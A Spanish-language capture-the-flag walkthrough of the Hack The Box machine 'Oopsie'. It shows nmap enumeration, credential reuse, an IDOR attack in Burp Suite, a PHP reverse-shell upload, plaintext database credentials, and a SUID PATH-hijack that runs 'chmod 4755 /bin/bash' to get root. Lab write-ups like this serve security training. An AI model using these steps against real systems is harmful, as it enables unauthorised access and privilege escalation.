Maquinas para empezar en HTB
Oopsie ~ Hack The Box
Comprobamos que la maquina este activa con una traza ICMP, usamos la herramienta PING.
# ping -c 10 10.10.10.28
PING 10.10.10.28 (10.10.10.28) 56(84) bytes of data.
64 bytes from 10.10.10.28: icmp_seq=1 ttl=63 time=39.0 ms
64 bytes from 10.10.10.28: icmp_seq=2 ttl=63 time=39.2 ms
64 bytes from 10.10.10.28: icmp_seq=3 ttl=63 time=38.9 ms
^C
--- 10.10.10.28 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 38.941/39.048/39.192/0.105 ms
Enumeracion con Nmap
Procedemos a enumerar todos los puertos abiertos en un escaneo usando los siguiente parametros:
"nmap -p- --open -T5 -v -n -Pn 10.10.10.28 "
Si en la maquina victima el escaneo con Nmap va lento.. Usamos el siguiente escaneo:
"nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn 10.10.10.28 -oG allports "
Con la funcion de extractPorts: filtramos por los puertos abiertos pasandole el archivo de salida del primer escaneo con Nmap
# extractPorts allports
[*] Extracting information .......
[*]IP ADDRESS: 10.10.10.28
[*]OPEN PORTS: 22,80
[*] Puertos han sido copiados to clipboard .......
2.- Siguiente Escaneo con Nmap
Procedemos a escanear la version y servicios de los puerto encontrados como abiertos:
nmap -sC -sV -p22,80 -oN Target 10.10.10.28
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 61:e4:3f:d4:1e:e2:b2:f1:0d:3c:ed:36:28:36:67:c7 (RSA)
| 256 24:1d:a4:17:d4:e3:2a:9c:90:5c:30:58:8f:60:77:8d (ECDSA)
|_ 256 78:03:0e:b4:a1:af:e5:c2:f9:8d:29:05:3e:29:c9:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumeramos con la herramienta whatweb
cat content/whatweb.txt
http://10.10.10.28/ [200 OK] Apache[2.4.29], Country[RESERVED][ZZ], Email[admin@megacorp.com], HTML5,
HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.28], Script, Title[Welcome]
Nos saca un Email admin@megacorp.com
Hechamos un vistazo a la pagina web:
hacemos Ctrl+u para ver el codigo fuente de la pagina
</script>
<script src="/cdn-cgi/login/script.js"></script>
<script src="/js/index.js"></script>
</body>
</html>
encontramos este redireccionamiento a la ruta cdn-cgi/login/script.js
Probamos la ruta sin el script.js
http://10.10.10.28/cdn-cgi/login/admin.php
Para esta maquina probamos las credenciales obtenidas en la Maquina ARCHETYPE
User: admin
Pass: MEGACORP_4dm1n!!
Nos conseguimos loguear corectamente a la pagina web.
Una vez dentro vemos que tenemos un campo de Uploads
intentamos hacer uso y vemos que el user administrador de la web tiene puesto algun tipo de restriccion de seguridad
para todos los Users menos el Super Admin
Usamos la herramienta Bursuite
para encontrar atraves de un ataque de tipo intruder al super admin en la pestaña accounts atraves del campo id
Una vez encontramos el id=30
para el Super Admin
Identificamos el valor Access ID que nos va a permitir entrar en la pestaña uploads para intentar subir nuestro php-reverse-shell.php malicioso
y que la maquina nos lo interprete para conseguir una terminal como www-data
Procedemos a Usar Burpsuite
otra vez para subir nuestro archivo php malicioso
Conseguimos nuestra shell como el user www-data
apuntando a la ruta de nuestro archivo php malicioso
que acabamos de subir
Buscamos por usuarios a nivel de sistema:
www-data@oopsie:/$ cd home/
www-data@oopsie:/home$ ls
robert
www-data@oopsie:/home$ cd robert/
www-data@oopsie:/home/robert$ ls
user.txt
www-data@oopsie:/home/robert$ cat user.txt
f2c74ee8db7983851ab2a96a
Ahi tendriamos la primera flag o user.txt
Escalada de Privilegios
Nos dedicamos a enumerar el sistema en la ruta de la web para ver si encontramos algun fichero de configuracion con las credenciales del user administrador
www-data@oopsie:/var/www/html/cdn-cgi/login$ cat db.php
<?php
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');
?>
Credenciales para la base de datos de mysql o para probar comprobar si se hace uso de la reutilizacion de credenciales a nivel de sistema por el servicio SSH:
robert
M3g4c0rpUs3r!
Probamos con el servicio SSH a conectarnos como el usuario Robert
# ssh robert@10.10.10.28
The authenticity of host '10.10.10.28 (10.10.10.28)' can't be established.
ECDSA key fingerprint is SHA256:JmIUfqU8/Xv/1Fy/m/Clya5iX2K756n/EGu0eeJb5xc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.28' (ECDSA) to the list of known hosts.
robert@10.10.10.28's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-76-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Sat May 15 18:07:17 UTC 2021
System load: 0.0 Processes: 140
Usage of /: 25.6% of 19.56GB Users logged in: 0
Memory usage: 20% IP address for ens160: 10.10.10.28
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
0 packages can be updated.
0 updates are security updates.
Last login: Sat Jan 25 10:20:16 2020 from 172.16.118.129
robert@oopsie:~$ ls
user.txt
Listamos por permisos SUID
ya que vemos que con $sudo -l
no tenemos privilegio para usar sudo
robert@oopsie:~$ find / -perm -u=s -type f 2>/dev/null | xargs ls -l
.
.
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker
.
Nos llama la atencion un permiso SUID como root a un binario personalizado. Vamos a probar a ejecutarlo para ver lo que hace:
robert@oopsie:~$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 0
---------------
cat: /root/reports/0: No such file or directory
Vemos que usar el binario cat y no lo llama de manera absoluta(Con su ruta entera). Se me ocurre la idea de hacer un path Hijacking, creando un archivo llamado cat, que nos ejecute el comando
que nosotros le digamos haciendo uso del permiso SUID y suplantando la ruta del PATH para que pille antes el cat malicioso nuestro.
Nos movemos a la ruta /tmp/
y creamos nuestro archivo cat
malicioso para que nos de privilegios SUID a la /bin/bash
chmod 4755 /bin/bash
Ahora vamos a proceder con el PATH HIJACKING:
export PATH=/tmp:$PATH
chmod +x cat
Y procedemos a ejecutar el /usr/bin/bugtrack
para que ejecute nuestro cat malicioso
robert@oopsie:/tmp$ /usr/bin/bugtracker
------------------
: EV Bug Tracker :
------------------
Provide Bug ID: 1
---------------
Comprobamos que la /bin/bash tenga privilegios como SUID para ahora haciendo un bash -p
convertirnos en root
y sacar la flag de administrator.
robert@oopsie:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1113504 Jun 6 2019 /bin/bash
robert@oopsie:/tmp$ bash -p
bash-4.4# whoami
root
´´´
Sacando la Flag Root.txt
```bash
bash-4.4# nano /root/root.txt
f13b0bee69f8a877c3faf667
Maquina Rooteada !!